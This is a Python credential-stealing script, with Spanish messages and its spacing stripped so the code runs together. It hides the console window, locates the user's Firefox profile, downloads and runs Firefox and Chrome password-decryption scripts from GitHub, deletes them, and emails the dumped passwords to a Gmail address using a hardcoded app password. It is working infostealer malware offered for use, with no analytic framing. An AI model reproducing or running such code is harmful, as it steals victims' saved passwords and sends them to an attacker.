# coding: cp850
importsubprocessimportsmtplibimportosimportsysimportrequestsimporttempfileimportctypesfromemail.mime.textimportMIMETextdefhide_console():ifsys.platform=="win32":ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(),0)defrun_command(command):try:output_command=subprocess.check_output(command,shell=True)returnoutput_command.decode("cp850").strip()ifoutput_commandelseNoneexceptExceptionase:print(f"\n[!] Error al ejecutar el comando {command}. Err: {e}")returnNonedefsend_email(subject,body,sender,recipients,password):msg=MIMEText(body)msg['Subject']=subjectmsg['From']=sendermsg['To']=', '.join(recipients)withsmtplib.SMTP_SSL('smtp.gmail.com',465)assmtp_server:smtp_server.login(sender,password)smtp_server.sendmail(sender,recipients,msg.as_string())defget_firefox_profiles(username):path=f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"try:profiles=[profileforprofileinos.listdir(path)if"release"inprofile]returnprofiles[0]ifprofileselseNoneexceptExceptionase:print(f"\n[!] No ha sido posible obtener los profiles de Firefox\n")returnNonedefget_firefox_passwords(username,profile):r=requests.get("https://raw.githubusercontent.com/unode/firefox_decrypt/refs/heads/main/firefox_decrypt.py")temp_dir=tempfile.mkdtemp()os.chdir(temp_dir)withopen("firefox_decrypt.py","wb")asf:f.write(r.content)p=requests.get("https://raw.githubusercontent.com/Riieiro/GoogleChromeDescrypt/refs/heads/main/google_descrypt.py")withopen("google_descrypt.py","wb")asf:f.write(p.content)command=f"python firefox_decrypt.py C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\{profile}"passwords=run_command(command)command2="python google_descrypt.py"passwordsg=run_command(command2)passwords=passwords+passwordsgos.remove("firefox_decrypt.py")os.remove("google_descrypt.py")returnpasswordsif__name__=='__main__':hide_console()username_str=run_command("whoami")username=username_str.split("\\")[1]profiles=get_firefox_profiles(username)ifnotusernameornotprofiles:print(f"\n[!] No ha sido posible obtener el nombre de usuario o perfiles válidos para Firefox")sys.exit(1)passwords=get_firefox_passwords(username,profiles)ifpasswords:send_email("Data Report",passwords,"nockeylogger@gmail.com",["nockeylogger@gmail.com"],"ezro xvah ctgy qhlt")else:print(f"\n[!] No se han encontrado contraseñas")